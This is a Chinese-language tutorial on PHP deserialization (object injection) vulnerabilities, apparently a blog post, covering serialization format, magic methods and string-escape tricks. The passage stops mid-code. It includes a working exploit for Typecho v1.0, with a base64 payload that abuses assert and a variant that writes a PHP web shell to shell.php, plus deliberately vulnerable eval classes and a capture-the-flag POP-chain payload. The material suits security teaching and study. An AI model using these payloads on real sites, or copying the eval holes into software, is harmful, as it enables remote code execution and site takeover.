PHP 中的反序列化漏洞
PHP中的反序列化漏洞
目录
-
PHP 中的序列化与反序列化
-
概述
-
序列化
-
基本类型的序列化
-
对象的序列化
-
-
反序列化
-
示例序列化与反序列化
-
-
反序列化漏洞
-
- PHP 中的魔术方法
-
- Typecho_v1.0 中的反序列化漏洞
-
-
POP链的构造思路
-
pop链案例
-
反序列化逃逸
-
字符串逃逸(减少)
-
字符串逃逸(增多)
-
字符串逃逸(增多案例)
-
字符串逃逸(减少案例)
-
-
-
weakup魔法函数的绕过
-
漏洞产生原因
-
案例
-
-
session反序列化
-
session存取数据的格式
-
1、php存储方式
-
2、php_serialize存储方式
-
3、php_binary存储方式
-
-
PHP session反序列化漏洞
-
案例一:
-
案例二:
-
-
-
Phar反序列化
-
什么是Phar
-
Phar文件的结构
-
Phar漏洞原理
-
phar漏洞利用案例
-
案例一:
-
案例二:
-
-
Phar使用条件总结
-
PHP 中的序列化与反序列化
概述
PHP 反序列化漏洞也叫 PHP 对象注入,是一个常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。
漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell 等一系列不可控的后果。
反序列化漏洞并不是 PHP 特有,也存在于 Java、Python 等语言之中,但其原理基本相通。
PHP 中的序列化与反序列化,基本都是围绕 serialize()
和 unserialize()
两个函数展开的。
序列化
基本类型的序列化
类型 | 示例 | 序列化后的格式 |
---|---|---|
null | null | N; |
整型 | 123 | i:123; |
浮点型 | 3.14159 | d:3.1415899999999999 |
字符串 | “leyilea” | s:7:“leyilea”; |
布尔型 | true | b:1; |
false | b:0; | |
数组 | array(1,true,“leyilea”); | a:3:{i:0;i:1;i:1;b:1;i:2;s:7:“leyilea”;} |
对象的序列化
不同属性序列化的区别
<?php
class Person{
private $name = "leyilea"; // 私有属性
public $age = 18; // 公有属性
protected $add = "bj"; // 受保护的属性
public function test(){
echo "hello".$this->name;
}
}
$a=new Person();
echo serialize($a);
- 成员方法不会被序列化
- 私有属性序列化后会在变量名前加
%00类名%00
- 受保护的属性序列化后会在变量名前加
%00*%00
O:6:"Person":3:{s:12:" %00 Person %00 name";s:7:"leyilea";s:3:"age";i:18;s:6:" %00*%00 add";s:2:"bj";}
一个对象在实例化一个类的时候,调用了另一个类实例化的对象。
<?php
class Person{
public $age = 18;
}
class Test{
var $a;
function __construct()
{
$this->a = new Person();
}
}
$a=new Test();
echo serialize($a);
序列化的结果:
O:4:"Test":1:{s:1:"a"; O:6:"Person":1:{s:3:"age";i:18;} }
反序列化
反序列化生成对象的值,由反序列化里的值提供,与原有类预定义的值无关。
<?php
class Person{
public $name = "leyilea";
private $age = 18;
protected $add = "bj";
public function test(){
echo "hello".$this->name;
}
}
$a = 'O:6:"Person":1:{s:4:"name";s:8:"system()";}';
var_dump(unserialize($a));
反序列化之后的结果:
object(Person)#1 (3) {
["name"]=>
string(8) "system()"
["age":"Person":private]=>
int(18)
["add":protected]=>
string(2) "bj"
}
反序列化不触发类的成员方法(不包含魔术方法),需要调用才会触发。
示例序列化与反序列化
序列化会将一个抽象的对象转换为字符串。
首先创建一个类:
<?php
class Student{
public $name;
public $sex;
public $age;
public $score;
}
?>
类名是 Stuent,该类中有四个变量,将这个类实例化(创建一个对象), 将对象序列化为字符串:(当我们直接输出 $stu1 时会 error,对象无法转换为字符串)
<?php
$stu1 = new Student();
$stu1 ->name = "tom";
$stu1 ->sex = true;
$stu1 ->age = 18;
$stu1 ->score = 89.9;
echo serialize($stu1);
?>
运行结果:
O:7:"Student":4: # Object:类名长度为7:"类名为Student":4个属性
{s:4:"name";s:3:"tom";s:3:"sex";b:1;s:3:"age";i:18;s:5:"score";d:89.900000000000006;}
{string:属性1长度:"属性1";.....}
反序列化:
$str =<<<HTML
O:7:"Student":4:{s:4:"name";s:3:"tom";s:3:"sex";b:1;s:3:"age";i:18;s:5:"score";d:89.900000000000006;}
HTML;
var_dump(unserialize($str));
运行结果:
object(Student)#2 (4) {
["name"]=>
string(3) "tom"
["sex"]=>
bool(true)
["age"]=>
int(18)
["score"]=>
float(89.9)
}
整体代码:
<?php
class Student{
public $name;
public $sex;
public $age;
public $score;
};
$stu1 = new Student();
$stu1 ->name = "tom";
$stu1 ->sex = true;
$stu1 ->age = 18;
$stu1 ->score = 89.9;
var_dump($stu1);
echo "<hr />";
echo serialize($stu1); //序列化
$str =<<<HTML
O:7:"Student":4:{s:4:"name";s:3:"tom";s:3:"sex";b:1;s:3:"age";i:18;s:5:"score";d:89.900000000000006;}
HTML;
echo "<hr />";
var_dump(unserialize($str)); //反序列化
?>
反序列化漏洞
这里我们定义一个类,一个属性,一个方法,由于反序列化要使用序列化后的字符串比较麻烦,我们可以将序列化的结果用一个变量接收 $t
:
<?php
class Test{
public $str = "hello";
function __destruct(){
@eval($this -> str);
}
}
$test = new Test();
$t = serialize($test);
echo $t;
echo "<hr />";
var_dump(unserialize($t));
?>
运行结果:
那么我们是不是可以修改变量 $t
为一个更灵活的方式 $_GET[obj]
,然后可以通过 obj 赋值:
<?php
<?php
class Test{
public $str = "hello";
function __destruct(){
@eval($this -> str);
}
}
$test = new Test();
echo serialize($test);
echo "<hr />";
$t = $_GET['obj'];
echo $t;
echo "<hr />";
var_dump(unserialize($t)); //反序列化生成一个对象
?>
赋值并运行:
如果我们修改其中的值:修改为 phpinfo()
结果:为我们编译了 phpinfo()
查找原因:该类中只有一个方法 __destruct()
,方法中有一个函数 eval,所以只可能是它,但我们并没有去调用该方法,它是怎么执行的?
PHP 中的析构函数(destruct),当对象结束其生命周期时,系统自动执行析构函数;它与构造函数(construct)刚好相反,构造函数是在对象创建时自动调用。
- PHP 中的魔术方法
以 __
开头的方法,是 PHP 中的魔术方法,类中的魔术方法,在特定情况下会被自动调用。主要魔术方法如下。
__construct() 在创建对象时自动调用
__destruct() 在销毁对象时自动调用
__call() 在对象中调用一个不可访问方法时,call() 会被调用
__callStatic() 在静态上下文中调用一个不可访问方法时调用
__get() 读取不可访问属性的值时会被调用
__set() 在给不可访问属性赋值时会被调用
__isset() 当对不可访问属性调用isset() 或empty()时会被调用
__unset() 当对不可访问属性调用unset() 时会被调用
__sleep() serialize()函数会检查类中是否存在一个魔术方法__sleep(),如果存在,该方法会先被调用,然后才执行序列化操作
__wakeup() unserialize()函数会检查是否存在一个__wakeup() 方法,如果存在,则会先调用__wakeup方法,预先准备对象需要的资源。
__toString( ) toString()方法用于一个类被当成字符串时应怎样回应。
__invoke() 当尝试以调用函数的方式调用一个对象时会被自动调用
_set_state() 自PHP 5.1.0起当调用var_export()导出类时,此静态方法会被调用。
__clone() 当复制完成时,如果定义了__clone() 方法,则新创建的对象(复制生成的对象)中的__clone()方法会被调用,可用于修改属性的值(如果有必要的话)。
参考:https://www.freebuf.com/articles/web/167721.html
- Typecho_v1.0 中的反序列化漏洞
- 搭建网站(需要手动创建数据库)http://typecho.org/
-
我们使用 exp 生成反序列化后的对象 (字符串),并且进行 base64 编码。
EXP 代码:
<?php class Typecho_Feed{ const RSS1 = 'RSS 1.0'; const RSS2 = 'RSS 2.0'; const ATOM1 = 'ATOM 1.0'; const DATE_RFC822 = 'r'; const DATE_W3CDTF = 'c'; const EOL = "\n"; private $_type; private $_items; public function __construct(){ $this->_type = $this::RSS2; $this->_items[0] = array( 'title' => '1', 'link' => '1', 'date' => 1508895132, 'category' => array(new Typecho_Request()), 'author' => new Typecho_Request(), ); } } class Typecho_Request{ private $_params = array(); private $_filter = array(); public function __construct(){ $this->_params['screenName'] = 'phpinfo()'; $this->_filter[0] = 'assert'; } } $exp = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_' ); echo base64_encode(serialize($exp)); ?>
生成的 poc:
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
-
漏洞存在
我们将 poc 代码赋值给
__typecho_config
变量,然后通过 POST 方式提交到链接http://192.168.40.129/Typechov1/install.php?finish=
,并且设置Referer=http://192.168.40.129/typechov11/
成功弹出 phpinfo 界面。
-
注入一句话木马
$this->_params['screenName'] = "fputs(fopen('shell.php','w'),'<?php @eval(\$_REQUEST[777])?>')";
再次生成 POC,注入参数:
-
成功生成 shell.php,使用中国蚁剑连接
POP链的构造思路
pop链案例
<?php
class Modifier{
private $var;
public function append($value){
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __construst(){
$this->p=array();
}
public function __get($key){
$function=$this->p;
return $function();
}
}
if(isset($_GET['pop'])){
echo $_GET['pop'];
unserialize($_GET['pop']);
}
highlight_file(__FILE__);
error_reporting(0);
?>
构造payload
<?php
class Modifier{
private $var="flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$a = new Modifier();
$b = new Show();
$c = new Test();
$c->p = $a;
$b->source = $b;
$b->str = $c;
echo serialize($b);
?>
反序列化逃逸
反序列化分隔符
- 反序列化以
;}
结束,后面的字符串不影响正常的反序列化。
属性逃逸
- 一般在数据先经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候有可能存在反序列化属性逃逸。
反序列化的几个特性:
<?php
$flag = "flag{1uiodjkahsdou1q}";
class A{
public $v1 = "a";
}
echo serialize(new A());
// O:1:"A":1:{s:2:"v1";s:1:"a";}
$b = 'O:1:"A":1:{s:2:"v1";s:1:"a";s:2:"v2";N;}';
var_dump(unserialize($b));
// bool(false) 因为成员数量不对
$b = 'O:1:"A": 2 :{s:2:"v1";s:1:"a";s:2:"v2";N;}';
var_dump(unserialize($b));
// 正常执行
$b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s: 5 :"v2";N;}';
var_dump(unserialize($b));
// bool(false) 因为长度值和实际长度不一致
$b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";N;} s:2:"v2";N;} ';
var_dump(unserialize($b));
// 正常执行,在前面字符串没有问题的情况下,;}是反序列化结束符,后面的字符串不影响反序列化结果
<?php
$flag = "flag{1uiodjkahsdou1q}";
class A{
public $v1 = "a\"b";
}
echo serialize(new A());
// O:1:"A":1:{s:2:"v1";s: 3 :"a " b";}
// 引号是字符还是格式字符,由前面的长度3来确定
属性逃逸
一般在数据先经过一次seralize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候才有可能存在反序列化属性逃逸。
字符串逃逸(减少)
反序列化字符串减少逃逸;多逃逸出一个成员属性。第一个字符串减少,吃掉有效代码,在第二个字符串构造代码。
<?php
class A{
public $v1 = "hellosystem()";
public $v2 = "666";
}
$data = serialize(new A());
$data = str_replace("system()","",$data); // 将system()替换为空
echo $data;
?>
O:1:"A":2:{s:2:"v1";s:13:"hellosystem()";s:2:"v2";s:3:"666";}
// 经过替换,字符串如下
O:1:"A":2:{s:2:"v1";s:13:" hello";s:2:"v 2";s:3:" 666 ";}
// 字符串缺失,导致结构被破坏,反序列化不成功
// 通过此特点(字符串减少),进行逃逸
O:1:"A":2:{s:2:"v1";s: ? :"hello";s:2:"v2";s: XX :" ";s:2:"v3";s:3:"123 ";}
// 先补充要逃逸的功能性代码(比如这里要逃逸出v3属性)
// 然后需要多吃几个字符,使功能性代码进行反序列化
O:1:"A":2:{s:2:"v1";s: ? :"hello";s:2:"v2";s: 19 :" ";s:2:"v3";s:3:"123 ";}
O:1:"A":2:{s:2:"v1";s: ? :" hello";s:2:"v2";s:19:" ";s:2:"v3";s:3:"123";}
// 加上原有的 hello,一共需要吃掉22个字符
// 一个system()是8个字符,加上 hello的5个字符
// 所以最少需要3个system(),这样就需要吃掉 3*8+5= 29 个字符
O:1:"A":2:{s:2:"v1";s: 29 :" hello system()system()system() ";s:2:"v2";s:19:"";s:2:" v3";s:3:"123";}
// 这样 比之前的22个字符多了7个字符,这7个字符是多吃掉的,所以需要再后面多补7个字符
O:1:"A":2:{s:2:"v1";s: 29 :" hello system()system()system() ";s:2:"v2";s:19:" 1234567 ";s:2:"v3";s:3:"123";}
// 最终过滤了system()后剩下的内容,刚好能够反序列化自己构造的功能性代码
O:1:"A":2:{s:2:"v1";s: 29 :" hello";s:2:"v2";s:19:" 1234567 ";s:2:"v3";s:3:"123";}
<?php
class A{
public $v1 = "hellosystem()";
public $v2 = "666";
public function __construct($arga,$argb){
$this->v1 = $arga;
$this->v2 = $argb;
}
}
$a = $_GET[
上一篇:
Hadoop 全分布式构建
下一篇:
反向传播 (BP) python 实现
推荐阅读
-
Rendezvous CRM 系统中的 SQL 注入漏洞 [2023-HW]-I.产品描述
-
谈谈 PHP 中的货币转换方法
-
详细解释 PHP 中接口的使用
-
什么是数据库事物?为什么需要数据库事物,事物有哪些特征?事物的隔离级别是什么?-1.什么是数据库事务? 1.事务是作为一个逻辑单元执行的一系列操作。一个逻辑工作单元必须具备四个属性,即ACID(原子性、一致性、隔离性和持久性)属性,只有这样才能成为事务: 原子性 2.事务必须是一个原子工作单元;它的数据修改要么全部执行,要么全部不执行。 一致性 3.事务完成时,所有数据必须保持一致。在相关数据库中,所有规则都必须适用于事务的修改,以保持所有数据的完整性。事务结束时,所有内部数据结构(如 B 树索引或双向链接表)必须正确无误。 隔离 4.并发事务的修改必须与其他并发事务的修改隔离。一个事务会在另一个并发事务修改之前或之后查看某一状态下的数据,而不会查看中间状态下的数据。这就是所谓的可序列化,因为它允许重新加载起始数据和重放一系列事务,从而使数据最终处于与原始事务执行时相同的状态。 持久性 5.事务完成后,它对系统的影响是永久性的。即使在系统发生故障的情况下,修改也会保留。 2. 为什么需要数据库事物,事物有哪些特征? 事物对数据库的作用是对数据进行一系列操作,要么全部成功,要么全部失败,防止出现中间状态,确保数据库中的数据始终处于正确、和谐的状态。 特征:原子性、一致性、隔离性、持久性,以及其他特征 原子性(Atomicity):所有操作在事务开始后,要么全部做完,要么全部不做,不可能停滞在中间环节。事务执行过程中出现错误时,会回滚到事务开始前的状态,所有操作就像没有发生一样。也就是说,事务是一个不可分割的整体,就像化学中的原子一样,是物质的基本单位。 一致性(Consistency):在事务开始之前和结束之后,数据库的完整性约束都没有被破坏。例如,如果 A 转钱给 B,A 不可能扣除这笔钱,但 B 却没有收到这笔钱。 隔离:在同一时间内,只允许一个事务请求相同的数据,不同事务之间没有干扰。例如,甲正在从一张银行卡上取款,在甲取款过程结束之前,乙不能向这张卡转账。 持久性(耐用性):事务完成后,事务对数据库的所有更新都将保存到数据库中,无法回滚 3.事务的隔离级别有哪些? 数据库事务有四种隔离级别,从低到高分别是未提交读取(Read uncommitted)、已提交读取(Read committed)、可重复读取(Repeatable read)、可序列化(Serializable)。此外,事务的并发操作中可能会出现脏读、不可重复读、幽灵读等情况。事务并发问题 脏读:事务 A 读取事务 B 更新的数据,然后事务 B 回滚操作,那么事务 A 读取的数据就是脏数据。 不可重复读取:事务 A 多次读取同一数据,事务 B 在事务 A 多次读取期间更新并提交数据,导致事务 A 多次读取同一数据时结果不一致。 幻影读取:系统管理员 A 将数据库中所有学生的具体分数改为 ABCDE 等级,但系统管理员 B 在此时插入了具体分数的记录,当系统管理员 A 更改结束后发现仍有一条记录未被更改,仿佛发生了幻觉,这称为幻影读取。 小结:不可重复读和幻读容易混淆,不可重复读侧重于修改,幻读侧重于增删。解决不可重复读问题只需锁定满足条件的行,解决幻读问题则需要锁定表 MySQL 事务隔离级别
-
在 php 中验证座机和手机号码的正则表达式
-
JScript 中的操作符 - [ JavaScript 参考手册 ] - 本地在线手册 - php中文网
-
JScript 中的变量 - [ JavaScript 参考手册 ] - 本地在线手册 - php中文网
-
JScript 中的数据类型 - [ JavaScript 参考手册 ] - 本地在线手册 - php中文网
-
php 中的一些坑洞
-
在 php 中实现两位小数的三种方法。